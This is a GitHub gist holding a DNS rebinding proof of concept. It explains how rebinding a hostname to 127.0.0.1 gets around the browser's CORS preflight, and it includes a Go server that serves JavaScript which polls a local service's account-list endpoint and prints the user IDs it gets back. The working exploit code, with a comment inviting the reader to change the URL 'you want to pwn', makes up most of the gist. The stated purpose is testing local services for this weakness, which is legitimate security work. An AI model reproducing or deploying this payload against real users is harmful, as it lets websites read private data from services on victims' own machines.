Skip to content

Instantly share code, notes, and snippets.

@tehmoon
Created January 24, 2018 01:43
Show Gist options
  • Save tehmoon/f7d9fad4fbb55a6d6886e540753f32ee to your computer and use it in GitHub Desktop.
Save tehmoon/f7d9fad4fbb55a6d6886e540753f32ee to your computer and use it in GitHub Desktop.
DNS rebinding PoC
Check if the process is vulnerable to DNS rebinding attack.
First run the server after changing the code:
$> go server.go
Find the ip address of one of you iface and then add this line to /etc/hosts:
x.x.x.x blihblah
Don't use 127.0.0.1 for the target website because we want to simulate a "real address".
Then visit http://blihblah:12345 you should see in the network logs that it just gets the same code over and over,
it's because we didn't change the dns yet.
Finally comment the line you added in /etc/hosts and add the name blihblah next to 127.0.0.1
Wait a minute and then you'll see that the User-Agent successfully got the new address and starts querying.
How does it work?
It shouldn't work because if you simply query http://127.0.0.1 from any domain, the User-Agent will issue a pre-flight
request like OPTIONS http://127.0.0.1/<path> to the server. In the answer, you're going to see some CORS rules.
Those rules get evaluated and then the User-Agent will deny or let the real query go through.
But in our case, we don't have any pre-flight request because we're on the same domain. When the DNS is rebound, the User-Agent
get the new address and is "tricked" into passing the request to the new IP address which is now 127.0.0.1.
Note that we're using the header Connection: "close" because we instruct the User-Agent to close the connection *after*
each request. That makes sure it doens't do any long live connections.
package main
import (
"net/http"
"github.com/tehmoon/errors"
"fmt"
"os"
)
const js = `
<html>
<body>
<h1>blih</h1>
<script>
var locked = false;
var cancel = null;
var fct = function() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
// Logic goes here
var resp
try {
resp = JSON.parse(this.response);
} catch(err) {
return;
}
for (var i = 0; i < resp.users.length; i++) {
document.write("user_id: " + resp.users[i].user_id + "</br>");
}
// End of logic
clearInterval(cancel)
};
// Replace with you malicious DNS here
// Change the url here you want to pwn
xhttp.open("PUT", "http://blihblah:4002/get/account/list/local", true);
xhttp.send();
};
cancel = setInterval(fct, 1000)
</script>
</body>
</html>
`
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Connection", "close")
w.Header().Add("Access-Control-Allow-Origin", "*")
w.Header().Add("Access-Control-Max-Age", "2520")
w.Header().Add("Acess-Control-Allow-Credentials", "true")
w.Header().Add("Access-Control-Allow-Methods", "PUT,OPTIONS")
fmt.Fprintf(w, js)
})
fmt.Fprintf(os.Stderr, errors.Wrap(http.ListenAndServe(":12345", nil), "Error in starting http server").Error())
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment